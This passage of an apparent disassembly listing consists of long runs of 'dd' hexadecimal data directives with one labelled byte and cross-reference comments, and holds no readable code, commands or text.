21825D44h, 3F50BC5Ah, 0DD7105E2h, 31C7F500h, 0F88E0C58h dd 379900C2h, 7961C5A9h, 66001219h, 2D69D025h, 0EA9BE654h dd 0C2F403C7h, 0C683B964h, 0D8DF9580h, 0D7C47C18h, 3E016598h dd 340027ABh, 79A920DCh, 9704B6Fh, 8E60CF0Ah, 5400A405h dd 86534F19h, 0C5121CEFh, 1894C19Dh, 0DCC306DBh, 0A80EE745h dd 6EF89389h, 911B871Fh, 2E29A620h, 4C1500ECh, 0D1E74DACh dd 0B2F05772h, 84527700h, 96A6FE7Ch, 2BAA0F58h, 0C20AFCBh dd 0BC4414CDh, 980BF00h, 0D3C792F2h, 4B420707h, 916FCE9Fh dd 0E4FE3412h, 0FF00C354h, 67739D01h, 1879B539h, 503D9320h dd 663091A5h, 27F93922h, 98503882h, 2E69BA00h, 2076FC52h dd 7B91AA00h, 9FF497C1h, 6B6A00EFh, 0E8520BF2h, 4531CBFAh dd 0CE28288Bh, 0D5710C0h, 96AAE764h, 0FC45F869h, 0F3660C00h dd 0D1E90850h, 72C12403h, 0F6813E8Bh, 0AD731852h, 0B039FC97h dd 492B320Eh, 4A0D2092h, 7F17C67h, 63B49D7Dh, 72BA90BBh dd 8001FF9Eh, 93FCF740h, 0E9607410h, 3DFD0087h, 253F4191h dd 19F8132Bh, 0F0C04698h, 949AED46h, 76071EFh, 36D5ECA4h dd 0BE67A01Dh, 39809114h, 0A863009Fh, 0B6AD2E5Bh, 0D807F92Dh dd 4D15A5FEh, 0CEFFF281h, 0E367D8E3h, 48FB0068h, 9263BAACh dd 5E01DDD9h, 219636B8h, 9260AD35h, 0E81F0034h, 7370D429h dd 7407B8F1h, 5D990E03h, 0ACC363F0h, 0CEBF488Dh, 0F230600Bh dd 895C8380h, 0E00BEEA4h, 863BC30Bh, 3938F09Dh, 0D01F3290h dd 0FC160308h, 0B288B57Ch, 0AD0F1E30h, 43F97826h, 0F842EAC6h dd 0FF416C9h, 0EDBFE1A4h, 5A6D2707h, 0F8A300B4h, 3D3C8A6Bh dd 3BC1E000h, 90B2DDEFh, 85BB0054h, 5A5F8CB3h, 74000896h dd 1170A9B0h, 7BEAC1h, 91310FA0h, 4A5D2D0Eh, 8B68900h dd 2A8DA79Ch, 2BD200E8h, 53EF46E5h, 4800588Ah, 0F6C3B5A6h dd 7A2E0D3h, 0C2CC1C04h, 0F17D2061h, 3FA0115h, 0EC941118h dd 7F97361h, 107967E6h, 452F80F5h, 0FD095E9Bh, 83D8E39Eh dd 0F8169465h, 7FD7F16Dh, 0A5E8C6h, 41E2DCFEh, 0A11B2B78h dd 688A6100h, 4B093852h, 71E5006Ch, 17627AFAh, 2F00EC23h dd 5E6A82F7h, 0EE4B4EF0h, 919400E0h, 0DE2E90E6h, 0FE0F1809h dd 0C0EE398Bh, 7F6197F5h, 1FC57DE0h, 0C06413D6h, 69D1EABBh dd 0D00FA8Dh, 537917DBh, 0C946B5h, 0F1C09840h, 2AAF89F7h dd 312FA900h, 42E9CAC2h, 9C300088h, 0E717BD63h, 0FD002A73h dd 0B43A6F7Eh, 1F0690Bh, 0EFFBEEFEh, 807B1FF3h, 50F44418h dd 6780421h, 6F9B8BA8h, 3F00E045h, 0A3335E37h, 48BFFA07h dd 28074F3Ch, 0D0F405F3h, 0F1F7F060h, 0B5E58309h, 988CD72Fh dd 4706A6C0h, 442B3889h, 1EEC7780h, 80F054ACh, 9F2A58D4h dd 84000A28h, 23FB93D3h, 7AB18Ah, 52B24632h, 380247DEh dd 4F428200h, 9B88F057h, 940CE11h, 19BE1D20h, 0C95428AEh dd 0CD4C8888h, 0E5300053h, 1EBD9547h, 0C1AA738Bh, 0EDD91864h dd 0A641E090h, 0C5F29800h, 6E1C9E8h, 32070086h, 0B86448D2h dd 4B00CEC1h, 0C82AD645h, 0AFE3E2h, 6DB27DCFh, 29C65B75h dd 0F0EA5872h, 0DD049600h, 5FAB8277h, 91300D9h, 1E8D4B75h dd 6A0017B5h, 0FF0630E8h, 519ACDh, 2E74BF47h, 5E5702CBh dd 2019C229h, 307A8162h, 0ED0020B5h, 0C5A89D8Fh, 29175h dd 74D0E10Dh, 1749CD84h, 0D4839201h, 19FE6F3Ah, 9BF54880h dd 0E87BBC42h, 3436EF00h, 0FF9C97C4h, 0E9497ABDh, 9D71C080h dd 0E25CBFFBh, 46D39801h, 7431F7EAh, 0D72088E9h, 0AFB90027h dd 387CFE26h, 0EEE085E6h, 0E71335Ch, 0AC19E0CAh, 232839h dd 0D9B52187h, 2A36CDBCh, 0EFE0A3Eh, 8065DEEFh, 0FF990B56h dd 0D9280032h, 0BA9D81A0h, 38008E88h, 0FCCB550Ch, 0FF3532Fh dd 0DDA16611h, 818344C1h, 14D870B9h, 0B88BEE00h, 0DC8ED109h dd 173B0043h, 2BD49738h, 2CFA41F2h, 1F7AD53Dh, 11402050h dd 0B26B56DFh, 70E2A7h, 0FB9C2EB7h, 67DC7674h, 2500F67Fh dd 2DC60A42h, 48A28CF7h, 0A400302Ah, 0E844E079h, 47E62EEEh dd 5730C9B8h, 42E6C878h, 0B6B501CEh, 655DC70h, 5F8DCE8h dd 9E8CBD00h, 0FB7ACA34h, 277013E0h, 1500242h, 20965581h dd 0A0FFD04h, 2C4002A8h, 0A523E2ABh, 0E07C5000h, 0FE012021h dd 0B6A04CCBh, 82D040h, 0EE9293A8h, 8EBC3F49h, 758D6501h dd 74E7B0A2h, 430B854h, 2BCD991Ch, 0DB0C303Dh, 90306CA5h dd 26218900h, 2941A5D3h, 1D311D22h, 6FC1FE9h, 19A2AB58h dd 15963511h, 1853E514h, 81118910h, 5610D78Dh, 0CB4FE07h dd 24D1F214h, 0C718514h, 1805A114h, 0EC305D2Ah, 112884D5h dd 10110C97h, 0E921A375h dd 30E70B8Ah, 2A0CED15h, 0A154484Eh, 18A81130h, 48A012E5h dd 3CA15124h, 40A98439h, 0E0C02C8Fh, 0F4803CF9h, 6B46072Bh dd 3AEF6F0Dh, 988405A8h, 229703C1h, 9E88A6C4h, 9D13FA6Dh dd 8C009908h, 54D507C6h, 21E92497h, 85383058h, 9100ACDAh dd 0FFE60B52h, 9ECFD3Dh, 3509D6B9h, 0C4776C00h, 0DCF890B1h dd 0C7BF6900h, 96CC50ACh, 0BB6FC1Ch, 825D409Fh, 6C00B678h dd 0EF531744h, 6A6F29h, 7DF2E750h, 0A760EA57h, 0BE0C4CA4h dd 0D8D140CBh, 0CCED003Eh, 83074533h, 0B7001CF8h, 956B41C3h dd 0C67BAD1h, 4D97E3B8h, 0ECEDFEE0h, 0D4075147h, 76E2251Ch dd 0F40300DFh, 5273F05h, 0FE6BEFAAh, 0A11C7092h, 1787D360h dd 0A5120CC5h, 0A0060E0h, 82E493BBh, 0F8215CD0h, 5672BA7h dd 32416EC0h, 0C452C445h, 9A0144AFh, 0D039F78Fh, 28800AF1h dd 31FA8B98h, 0FE003FACh, 0B8F42352h, 6EA0C2h, 95A7C5FDh dd 6A130E6h, 5C0A52h, 0D94EB28Ch, 96220B0h, 5E25AED3h dd 0C903DB78h, 0DB90EA72h, 6391F049h, 24A13D39h, 59153580h dd 0E6C26AE0h, 0D49A8826h, 49D98D00h, 314CBC8h, 0F052AE22h dd 4CC0F6EEh, 264991A9h, 0C6100D4h, 0CEAE4BBBh, 2D42383Dh dd 0E51E626h, 58B4F4B8h, 0C28D92B8h, 4C96531Bh, 0D2A72B00h dd 5870D477h, 53E70146h, 2343F3F4h, 0D6B44017h, 5D0C99A3h dd 382EE634h, 41216096h, 89752B95h, 0DA2E80Ch, 2C3144h dd 0E1EBC021h, 0C85B6287h, 132CE3Bh, 1EED6B08h, 74234FA3h dd 0B0D8E021h, 0F43100DBh, 0C201AA5h, 5709DA6Fh, 210B7B7Fh dd 96AEA720h, 40D0CC20h, 12488D31h, 0C59D008Ch, 8851531Fh dd 0C3D30047h, 0F514743Fh, 0AD1CC7C2h, 0E74A5D30h, 8057AC20h dd 0C7A47138h, 7048DEFh, 22C8257Ah, 0CA04948Bh, 986EFCA4h dd 942947D4h, 0F2544445h, 0C8523F64h, 0E36FBE00h, 5D4C227Dh dd 0DBE6FE00h, 1CCDE37h, 62B70018h, 1E7A6A5Ah, 48004FD0h dd 84EEA246h, 0F760B91h, 0E7857D9Ch, 3E434BE0h, 0C70012F2h dd 2DB99D6h, 0E66EF9h, 0EDE22D26h, 0D91B4188h, 16ECC5Ch dd 997D140Eh, 8883E970h, 9F3674B1h, 6964FA1Ch, 524FDD00h dd 0CF238Dh, 17D49BB0h, 0A776EA08h, 8E87F63Ah, 7EA067ABh dd 0A0DB854Ch, 0C85E1FD2h, 0E81A9440h, 91459B00h, 0A8EC724h dd 0A5E14D00h, 0F11B50B1h, 113FAD0h, 0EF72C35Fh, 0EC7634BDh dd 783E023Dh, 0F70F7487h, 802D8E90h, 8B310D2Bh, 26730E4Ah dd 0FFEEF1h, 0CE6ED4Bh, 600791Eh, 0A5D49FEBh, 49380h, 815C7C09h dd 1A5B675Fh, 0B34A6E00h, 46C4CFA3h, 7B00B024h, 7D4D1FA4h dd 0EB1C40A1h, 515B8BF4h, 55664901h, 8144965Eh, 7CDB2F8h dd 73B062A9h, 90360716h, 4F92BCC9h, 82243A18h, 1DDC237Ah dd 0BE09F980h, 0D541C883h, 78F8B8AAh, 0F600B43Bh, 0E1F1299Dh dd 3F6F1A4Fh, 0CB0A3A0Dh, 180D5CAh, 2B88C8E8h, 0DBD98213h dd 4BA03BC7h, 6577F804h, 76D0ED6Fh, 7DC47890h, 50FCA552h dd 3C00B2B7h, 3003A456h, 0A8D76B37h, 0E4C24F4h, 0D5F816C2h dd 3CE08094h, 35240E2h, 0CBA6F344h, 37803EEh, 0AA49057Bh dd 586F0A89h, 1E52DDC4h, 476A0790h, 50D00790h, 0F021C20Ah dd 1810C4F8h, 39EB4816h, 44BD58E0h, 0AF18C0A2h, 3211876h dd 0CC3D07ECh, 871CB073h, 39A1C31Bh, 55641101h, 0C1E8EC8Ch dd 3775C880h, 7460B424h, 1684400h, 80E60C6Ah, 8C0B2465h dd 1D3F0040h, 933EBC7Ch, 8D7A1300h, 32EB2AB7h, 0E7B900B5h dd 0CA85B0A1h, 98032619h, 0FBAE6E27h, 3880B5E8h, 77A087h dd 4C47B67h, 84D8C9D0h, 2A803600h, 3505D5F1h, 75721EDCh dd 0CA9A403Eh, 79942E9Dh, 20C1B200h, 503C525h db 0F9h byte_520045 db 1, 0EAh, 0BAh ; DATA XREF: ___:0042CC88o ; ___:0042CCA0o dd 55BBF741h, 0B911C837h, 1F2A4000h, 3506E8AEh, 45DE1630h dd 9CBCC1h, 59116299h, 864F2Dh, 9DA5AB0Eh, 6A4D32B8h, 0AF417B18h dd 5603C4D0h, 0B7C00412h, 3623A2B9h, 57EC917Eh, 80266000h dd 629A252Fh, 80C00B1h, 1A7C4C6Fh, 8F3A367Ah, 3F9601Ch dd 39163F7h, 0F69F6EF1h, 58709C75h, 897638h, 0CED61B1h dd 5BE2BC9Bh, 853F8092h, 7A00A8AFh, 0EC49E10Bh, 0E62542h dd 0A7C90A1Ch, 0AC8CBC9Ah, 915E3Bh, 0BE9D5AA8h, 486241h dd 647A14B5h, 0FE63967Eh, 6ED83800h, 7B0E60DBh, 9759CE6Fh dd 0FC5DEE20h, 0DC0E2A55h, 0A113C82Eh, 6BC4CD5Eh, 549DF1C8h dd 5A8450h, 1A5FE20Dh, 0A50595D5h, 1898833Ah, 1020C9DBh dd 0BA80019h, 47140A44h, 0D700F23Dh, 0A9DA768Bh, 14EE661Bh dd 9C5145C0h, 242122B8h, 42AF01C5h, 803D0828h, 0BA696792h dd 588B1A12h, 0DE3A6BA6h, 4C2A9Fh, 0CFC193E5h, 3939A996h dd 13660F9Dh, 1A2F603Dh, 2448BAA5h, 1D58A4E6h, 1EF0AA5Fh dd 0C06F8044h, 0F9D45864h, 0FE00E991h, 7295D6DEh, 14C4CE20h dd 9C821652h, 45A30076h, 0FA3FBA04h, 20034199h, 76402F02h dd 7C200111h, 0E9D0074Ah, 3A1FE8DDh, 0B4399F00h, 43A3930Ch dd 2A10E57h, 7B20CB30h, 519FDE26h, 6CC0F905h, 0E0204715h dd 0F32ED6Ah, 0CCFA580Ah, 13184EE8h, 5053F9h, 0A111C5F4h dd 4DACC849h, 1E7F2809h, 693D0006h, 396C39Fh, 0E69E7C3Dh dd 0C982249Ch, 860848Ah, 0CD60972Fh, 464C7C04h, 40BA3BE4h dd 939A0052h, 0C3945310h, 6E002E01h, 0C9681FBDh, 0DE67E8h dd 2D62C2Ah, 0A3BAA266h, 0B48C1918h, 0A6EC4C8h, 0AB999C80h dd 3F3100BCh, 0D31FFE60h, 17242CEAh, 23808805h, 42995291h dd 61C100B8h, 7CD77E95h, 62000649h, 0DF63A8BEh, 375B25h dd 0F315C99Bh, 942FEEB1h, 7C305214h, 0D7A40090h, 67EBC8AFh dd 69B30011h, 9B8F1875h, 0F301FC37h, 0E7EFF8C9h, 4DB3A16h dd 4C4297F1h, 0A9C2EA39h, 9B8C9896h, 484DEA0Ah, 0FCE05074h dd 3DE009CBh, 5C2F380Eh, 0A51860E1h, 0F548E15h, 432450F6h dd 64A7CD29h, 35AAA0DAh, 4E0416D9h, 0A61C5D9Ch, 403D83EEh dd 727FC7D8h, 6898387Eh, 24777E00h, 2FDA8562h, 75BE249Eh dd 0BC715610h, 79A842h, 9D2117D8h, 2AC3D42Dh, 0B297D8C0h dd 286EA2h, 6DDC54Bh, 75593D51h, 0D6D10104h, 148088FDh dd 1C372E84h, 9DE9A693h, 8A23CF28h, 7842012h, 2508A405h dd 4640316Ah, 4A7B21A5h, 189AF90Fh, 348E2088h, 5EC7B5h dd 4748F171h, 9ECFFCD4h, 3CFBC503h, 0C039AD73h, 7B6D43h dd 3E831499h, 0FDCD8FBBh, 0DA97C700h, 98F21536h, 8D6F0048h dd 53929570h, 0CC3DF0E6h, 0D60B0043h, 263E4630h, 2C1B4822h dd 0D3195203h, 0ADD8940Ah, 970113FBh, 0C0769EBh, 0BADC3F50h dd 148801B2h, 549652CBh, 58C0A4BEh, 0A060FE09h, 0BB16F1A8h dd 0BC030256h, 72474B5Bh, 19F0EF40h, 0F1103C1Eh, 8F5CF740h dd 3F37E70h, 9C4F29Fh, 55F06378h, 30002D9Ch, 94B1A1B4h dd 4FB4204h, 76E37C26h, 80A4C553h, 0B2D17A75h, 0AE4F3800h dd 2E6D0E1Ch, 0B7435h, 79F0E419h, 0EC38095Ch, 0AA95BD00h dd 9C491ED2h, 5F7C0Dh, 4C2C1DF7h, 77EC1264h, 0F1350C7h dd 9EF665D0h, 96531C4Dh, 0AE5001Bh, 376A48BEh, 9577B900h dd 3AA67B10h, 62D0F545h, 2D53066Bh, 0A8FAEB6Fh, 3391808Dh dd 6803CE80h, 600042Ch, 0F5AFB865h, 30FC2BA8h, 762811C8h dd 80775030h, 127A9F00h, 0A46AB3F3h, 68FA30F2h, 8E71CE20h dd 0F447F800h, 635650A0h, 0AC62F87Ah, 71BF0294h, 68791C7h dd 0C07B5218h, 3BCB9B20h, 7673596Eh, 2E568D00h, 96BFD3C4h dd 0D90F0CD5h, 1271F7F3h, 3D0088F4h, 0D206E36Dh, 0E65C9722h dd 0FA9C0082h, 0F3954ADCh, 730F8C6Fh, 0CB946CE8h, 0B1038232h dd 8094B75Ch, 91FE0B19h, 2200678Dh, 58777F7Bh, 6151D6Ah dd 70AAF9B8h, 3307302Fh, 45F761EDh, 0E9A5ECE0h, 0AAA4A83Bh dd 433F1496h, 0D280AC3Ah, 69C5F35Bh, 0AC10A8A2h, 50800FFFh dd 855B066Dh, 41E9EB99h, 428A3238h, 90837901h, 0D3421C5h dd 0E8C33803h, 24695Bh, 13378F42h, 0C1D22E91h, 7451D400h dd 0E78DB6ABh, 0CDE477h, 40935D3Eh, 7E3FF70h, 0F933BD09h dd 0C979004Ch, 2D10D2h, 0B6C5EC6Eh, 302CDB7Bh, 9CE1E000h dd 9A36D866h, 0DA2300F4h, 0AE2D22BFh, 1900F14Ch, 0AC85B704h dd 78C7D2DEh, 0E9CE099Eh, 0C01F331h, 0C8BAE848h, 0D0971A5h dd 2081054Eh, 7542D008h, 0F17C8Fh, 0CFCE36BAh, 793BA487h dd 0D52B1B07h, 75871A6h, 0D0CEE46Bh, 0EFA7A427h, 0E8EEBA00h dd 73DA9DBCh, 7ED875D7h, 720B01B6h, 0BF2A573Dh, 9E544AEBh dd 4577AE48h, 60CCC025h, 5C00B07Bh, 58045AB6h, 2493D41Bh dd 30F8F9DEh, 42013490h, 7AAE8101h, 6653A07Fh, 0AAB03822h dd 58847B53h, 0E1CA7DAh, 0BBED40C3h, 0FFB3341Fh, 0DC25CC29h dd 0BA00861Dh, 268A9302h, 3BCF0099h, 0CC34EF88h, 0FB7E7AFFh dd 0A0228B00h, 71B6C43Ah, 20E81D96h, 0F1D30172h, 0CC9A024Fh dd 0BE00FFD0h, 6B0E992Dh, 1C1BB7h, 139BADF0h, 0D2324B5Fh dd 10D7BB00h, 14386554h, 23F80012h, 857B3104h, 2F07347Ah dd 251E67A7h, 22BC43h, 7773DF20h, 16ED991h, 8339C8F0h dd 89E5002Ah, 0A2381610h, 13D2009Ah, 5C36DD28h, 8E3CD17Ch dd 808ABEB2h, 0A8A0701Ch, 0CF79EAh, 0C72F72EDh, 466BF7AAh dd 49898F03h, 970621B2h, 0EDE8500h, 0A7CC01E4h, 7105DF13h dd 7BF7FC20h, 76FD2907h, 0BCF03509h, 1BE90Bh, 0C3F3B291h dd 5A5EBD63h, 1DAF1338h, 64181105h, 14CA4C0h, 59889998h dd 0FBFFD7C9h, 2D1F4FE0h, 0E103827Eh, 0B5FE6C1Bh, 2CA3B83Fh dd 85A80210h, 0BD4B9EC3h, 691D3F63h, 0C2197B80h, 33F8BAE8h dd 0C5C8C1B3h, 80034DD7h, 30617D18h, 0E59FDEh, 7943F80Dh dd 595F06A8h, 27C2BD00h, 6AF908B3h, 0D288C0FDh, 18CB6B4h dd 0BBEAB801h, 0CF12BC85h, 0B2FBE4h, 0CA422CBh, 35935905h dd 902DB30Eh, 0A7BF80BDh, 29F252h, 78DC243Fh, 8B0593B9h dd 2115E8ECh, 0F1F013E1h, 470C11FEh, 7C343D00h, 0E4EB9391h dd 964C002Ah, 83C68A28h, 3218256Fh, 0D891C456h, 0BFF7004Eh dd 2709C929h, 874E89Bh, 0AA21AC63h, 0C8F1D91Dh, 5E6EFF4h dd 1B115707h, 0E8A8376h, 6EE57812h, 20E01426h, 0D514D283h dd 24DCE721h, 16400479h, 40FC00Bh, 8E1FDED7h, 84008BE5h dd 0EB31F6DBh, 8AF9C065h, 4051A70Fh, 0A94F00ADh, 504EC9h dd 91542969h, 16FFEE18h, 5A4C1307h, 5640878Bh, 15FA11A9h dd 0ECA14D55h, 0AF738900h, 0D0DDEE3Eh, 34A8C200h, 32C0C89Ch dd 841B51F9h, 1DD4F2F1h, 39A708Fh, 7869230Dh, 0A9D09FC2h dd 2407D062h, 32724027h, 9883CBF2h, 19B3188h, 0E5A9F0BFh dd 0F5079477h, 21C4477Ch, 1023CE1Fh, 7996F765h, 6AB11FDh dd 2457109Ah, 3736177Eh, 2A8C0140h, 240A6AD0h, 89884558h dd 38EB1EA3h, 0C7013B8Dh, 6A0C81DCh, 14E2FCBCh, 42947307h dd 26002A33h, 1C9CDFh, 7EF9F140h, 4D65984Ah, 79C97700h dd 0B7B4D9DEh, 71541CCCh, 0CFDA0094h, 606948C4h, 56FC0700h dd 0C1C7010Ch, 9504003Fh, 4DACD5FFh, 4664D2B1h, 7983CF48h dd 3CC4A7CAh, 7A3E85C0h, 1062005Dh, 0DCC153E2h, 0BF7DB7E0h dd 170C38h, 0ADA90A38h, 1469F63h, 6D9CE82Ch, 700F7B15h dd 310091AFh dd 6F9E4C0Eh, 3B117958h, 7C00A5E0h, 0DC96BB0Ah, 0FD48A4D4h dd 0ED3F83h, 0C6844861h, 3561A4Fh, 2A86E66Bh, 6E9C2F1h dd 3651D0F2h, 0CD50EB00h, 0A62B1C94h, 986C3A4Fh, 0DFF2D480h dd 1136AC83h, 418C4600h, 2970ECA2h, 1B9E414h, 0CC137A5h dd 80FA907Fh, 77443E20h, 0A19C28h, 1C0F94F3h, 5A15B7A0h dd 0B0E7DD00h, 0C435BA65h, 95E20164h, 888818Fh, 0EDE47070h dd 78CA3B18h, 0CFF1B208h, 0F0E0E120h, 0D98197FEh, 0A1E4C01h dd 0F3DDC15Ah, 0B9FF9A00h, 2BAFD0C0h, 36D4FBh, 5D804282h dd 0BFFD489Fh, 0DF3E4E00h, 529A7CB1h, 0C05A74A1h, 0CF5334A0h dd 5D052A8Eh, 128BB71Eh, 0BD2C3280h, 11F300A2h, 0C1DA7AACh dd 7F0044B1h, 4E52203Eh, 0C6BB7Ch, 0FB281BCFh, 2A90B5A6h dd 5CB96F01h, 7929725Ah, 1D7E8FDCh, 0C0BFC7E1h, 0CED2CA27h dd 0B71E95B9h, 0E28F608Ch, 0CC801CB4h, 0CA991959h, 5423001Ah dd 9A4DE390h, 6B00DFA2h, 0ACD85E27h, 1C114A8h, 5D61CF9Bh dd 0E0A512F5h, 0FA2CEE8Dh, 1800548Bh, 78D65146h, 89907F4h dd 8082649Dh, 6F26C311h, 3C00BBF4h, 41C706E2h, 1622AB7Ch dd 62D37E0h, 4C327AD8h, 0E3E2F400h, 808AA5CBh, 7E7BD8h dd 242E137Ch, 0B8603C3Bh, 41CE8B00h, 99C639BBh, 25041CACh dd 0EC13C036h, 0FACF459Dh, 124BCC00h, 7D94B203h, 0C621009Ah dd 0DD27D178h, 56003BB4h, 0ACE6E25Dh, 1D36A4E8h, 1394ADF3h dd 504D0088h, 3F4D7258h, 0F63BD00h, 8AD7A3A5h, 7923009Fh dd 0E41F967Bh, 0B02C9557h, 491D00D5h, 0A45B601h, 30E49717h dd 0EEFB00AEh, 6F9263ACh, 713BE8C6h, 0B93E00EAh, 9F7E02DBh dd 596A3B5Fh, 0C5D5F800h, 0F39DEF7Ch, 8737C900h, 55D2448Bh dd 91260005h, 0CF0AE55Bh, 9A00F9EBh, 6E3549F5h, 60D9F138h dd 2BDC985Ch, 3FE832AFh, 0AAE81002h, 0C0EC8C8Bh, 0ECE5AADh dd 993C9755h, 215C1680h, 0A60092FBh, 0E70F1193h, 0B5A5E2h dd 0D22549E0h, 8CB10617h, 0FA4Ch, 328A8F92h, 0C29C3DAh dd 0A0072A0Ch, 3A121CC1h, 0EC001A50h, 0BE4F638Dh, 73E100FAh dd 1238B12Bh, 0E60BB75Eh, 0F929AFh, 98A836A7h, 0E50C7E0h dd 3811C02Fh, 0A400D971h, 0BBCA216Dh, 0F547852h, 0C9EE7982h dd 9456A5C0h, 0CC740FDBh, 0CA0014F2h, 0B51CF329h, 0F691EAEh dd 9DD1148h, 0E65500FCh, 0E4F0A051h, 8EB1A800h, 3EC1FF8Bh dd 3C6805CBh, 0EC3877h, 30E898E8h, 6003621h, 8D587820h dd 94901Eh, 0B44033A7h, 99861C0Bh, 7259AF00h, 6E828958h dd 0F81F0E0Ch, 22808C20h, 5153873Dh, 26E97A1Dh, 659693C0h dd 1C6F4D9h, 0D5324774h, 0FC62D408h, 0BA711B36h, 6914EA75h dd 84DD4Eh, 16D9034Fh, 1CF4E6F7h, 82B8A47Ah, 7320D135h dd 48D2B480h, 9A00CB3Fh, 6EB21C2Bh, 0E2A84Ah, 1B675D5Bh dd 5508FA42h, 0C8C28900h, 0DEEDC647h, 6FBA00EFh, 65E7C588h dd 29FE2EA8h, 363B63Fh, 0B1C60654h, 2443E830h, 1A9D0090h dd 9E5C7969h, 8F00EDF4h, 9A779670h, 90AFF1h, 0FF128865h dd 6FE9B245h, 2D0A8D7Ah, 0E89AE5F0h, 0ECF2E300h, 0FAEE2C1h dd 0DBE3CE9h, 0C0035E00h, 6F00D207h, 68D5E88Bh, 0F268AB0h dd 5CB25F16h, 0CD8846E0h, 0D0C092F9h, 69AA2D8Eh, 7B0200C8h dd 32DEFD50h, 0D338B94Eh, 3CC5BBC4h, 68758026h, 0B628E8A0h dd 795B0039h, 0DA34091Bh, 88FC81F0h, 89002098h, 4D6A907Dh dd 0FC5F18h, 0A8B8B395h, 263E57DBh, 5C0ED300h, 0EB794A62h dd 0BBB700A5h, 78CCF91Dh, 0F37EFB34h, 9669A43Eh, 691C24B8h dd 0B041F100h, 30C64681h, 0FB809B08h, 16006B45h, 0AC68D742h dd 0FA5AAD8Dh, 50CE00D4h, 0FEE5CBE7h, 9F24293Bh, 9C019366h dd 0CC433C48h, 13FBCD8h, 20150BF7h, 0DC32937Eh, 12147952h dd 26FFC839h, 66006C46h, 5E768487h, 5C712Eh, 53154CBh dd 94DD5D24h, 684FB900h, 9AD19199h, 0A64B0096h, 7B4987FBh dd 4200653Fh, 0DF2E1623h, 1C852874h, 8002A8ABh, 50FD2AF8h dd 130E82F1h, 0E08DD627h, 6D8717F6h, 0FB8107F2h, 30FDDC21h dd 0A4F0AF0Ah, 1B9FA001h, 7F888738h, 131C3CBh, 0EBD1FB1Ch dd 70B594E5h, 43001B11h, 0FFBAA88Ch, 7924E7h, 90086D30h dd 48954463h, 5A805C00h, 4750380Bh, 4BC901C4h, 0E791D324h dd 0EC0FE808h, 4460F800h, 0B661590Bh, 0E59E00B4h, 31677740h dd 420072DDh, 9BD837DBh, 0E2957413h, 5FB70015h, 5824D256h dd 0A100279Fh, 3292A7CDh, 1BCD978h, 300CBFDAh, 0E8BB19B7h dd 9901E711h, 0D19E2265h, 51E00E3Fh, 0E6EEECEBh, 6F796Dh dd 214C7E79h, 0E714B3E9h, 463E1005h, 1F87730Fh, 0C030B883h dd 798E039Bh, 8490C0h, 403D795Ch, 0D8240294h, 47D2B700h dd 0B95875F3h, 0A7AE0093h, 1DCB199Eh, 34001CEAh, 0DAE31EBBh dd 5C53BC29h, 440F1FACh, 0A1207B93h, 0BAE86CA0h, 7460A0Fh dd 520E4018h, 77597815h, 7355072Eh, 3338A3F8h, 169001E6h dd 9D01A484h, 6A31320Ah, 0EC705E67h, 0C061F2Ch, 91B3C0AEh dd 0C358B687h, 3CB4D800h, 591D6527h, 37D70348h, 81188DE6h dd 340C58C8h, 0DEE0B400h, 0FF62599h, 4E4A00BAh, 0CFB14367h dd 21002ED0h, 29D2FD47h, 35799Bh, 514BD6ADh, 0EC7AAE75h dd 0F622760Bh, 215A0027h, 307C5225h, 0D12C262Bh, 0A02B50BDh dd 80088B8h, 0F338C7F9h, 0EC0C00F2h, 0D2B94680h, 0F5000ECDh dd 0C2C41EA5h, 0EA27A0h, 7EC3AEBFh, 9DE693Dh, 3F883800h dd 0A6C929E3h, 949A0F75h, 70E75A89h, 15BA503Dh, 0D40035E7h dd 0C367161Dh, 4CC181h, 4379C5Dh, 1219A3CDh, 651FBD00h dd 3D3A9290h, 0C33500E9h, 17E0EBEh, 590055D8h, 0FADB307Bh dd 0AF6F11h, 51580379h, 28B60B36h, 0BA133373h, 98001B3Fh dd 6AD75B42h, 37B103C0h, 7A7C0E2Ah, 0C7082095h, 1E1E1408h dd 2616A241h, 2F1D0300h, 1742F855h, 0AFDFA9h, 62C94605h dd 0F0F16B16h, 800007FFh, 90932EDCh, 1F7456Fh, 0EC2CF0B6h dd 20AEC429h, 0E4FFAF38h, 0F0048B8h, 1E13027Ah, 1D2BD76Eh dd 2D12B3h, 6D8039F2h, 0D30F10AFh, 0E0EB49F0h, 9A19932Fh dd 29BD0078h, 0A18C7BBh, 23284B0Dh, 0B0194A0h, 7F8D35D5h dd 0C630E32Ah, 0E6A8012Dh, 0E8CF294Bh, 378080AFh, 122A506Fh dd 9703001Eh, 4EBDC80Eh, 4900B201h, 0FFFA8E64h, 6BD28Ch dd 0CBFB1371h, 50E7EB0Ch, 9DFDA61Eh, 6C514200h, 4388E2h dd 3E67EF6Bh, 574725DEh, 7F0086E6h, 953B9CCCh, 0DA60D5h dd 0AB779B13h, 0EEA07C33h, 9C024E00h, 1E93EC7Fh, 5BA100BEh dd 0D29A3CA2h, 380088F7h, 0F8C2B1E7h, 66267Bh, 8A18518Fh dd 0DB1F5A29h, 5FE7BA00h, 488062B1h, 0A8C60031h, 98CD5DC1h dd 5600D8A0h, 71EF516Dh, 1FF1A5E7h, 47DC1D66h, 0B0741F77h dd 2F2ABC4Bh, 730062E0h, 87965F1Ch, 0CF6A2BAAh, 0F7403A38h dd 6CD7B839h, 0A0BF6607h, 0D4F096DFh, 6BC16Eh, 71F363A9h dd 0A4EF4E42h, 1ECCEB1Fh, 0A368D401h, 6FC4E0BDh, 20476073h dd 0D3E451D0h, 0E7C24506h, 57196B93h, 1FF80471h, 41DDE800h dd 0EC5310E0h, 0C23C3850h, 91E27C00h, 259D6B05h, 86477205h dd 900F4364h, 1F81954h, 95F3A9F1h, 0A2349C51h, 34C97B8h dd 44F5909Bh, 2ED3CFE0h, 94250900h, 6FDCFA59h, 425502D7h dd 415F31F6h, 95060C8Bh, 0D5211967h, 18BB1524h, 50F8F51Eh dd 68931056h, 49B9085h, 2182A70Ch, 24402F4Eh, 88541F8Bh dd 936219E0h, 10BAFF19h dd 24A0F4C6h, 288469E3h, 430CE895h, 66290CCFh, 86774991h dd 1B54D454h, 83245E57h, 2ADEB527h, 79189F19h, 3548462h dd 9C42B978h, 3CBD1714h, 8AF92610h, 39843033h, 474AE1FEh dd 28D88A18h, 312B4690h, 0DFFB781Ch, 0FC0C32C7h, 3631B0C0h dd 0C767CD3h, 0F9C1B27h, 30400418h, 0C88501B8h, 0AB82198Ah dd 0C20021FAh, 0FCA6960h, 0D5DD9400h, 629F1DF5h, 0AED800CEh dd 69347431h, 0EC0E8782h, 0C7C7A1BAh, 2694D5C0h, 464E5480h dd 